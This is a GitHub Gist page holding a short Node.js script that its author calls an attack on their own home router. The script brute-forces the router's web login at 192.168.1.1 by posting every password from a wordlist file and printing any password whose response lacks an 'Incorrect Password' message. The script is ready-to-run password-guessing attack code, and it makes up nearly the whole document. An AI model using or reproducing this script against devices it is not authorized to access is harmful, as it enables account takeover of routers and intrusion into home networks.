Created
September 24, 2014 00:44
-
-
Save giuscri/1e72676eed075b438c61 to your computer and use it in GitHub Desktop.
Ad-hoc attack for my own router ... :)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/node | |
// Ad-hoc attack for my own router ... :) | |
var fs = require('fs') | |
var request = require('request') | |
fs.readFile('passwords.txt', 'utf8', function (err, data) { | |
if (err) { | |
throw err | |
} | |
pws = data.split('\n') | |
pws.pop() | |
pws.forEach(function (pw) { | |
request.post( | |
'http://192.168.1.1/cgi-bin/login.exe', | |
{form: {'pws': pw}, followAllRedirects: true}, | |
function (error, response, body) { | |
if (!error && response.statusCode === 200) { | |
if (body.indexOf('Incorrect Password') < 0) { | |
console.log(['Correct password:', pw].join(' ')) | |
} | |
} | |
} | |
) | |
}) | |
}) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment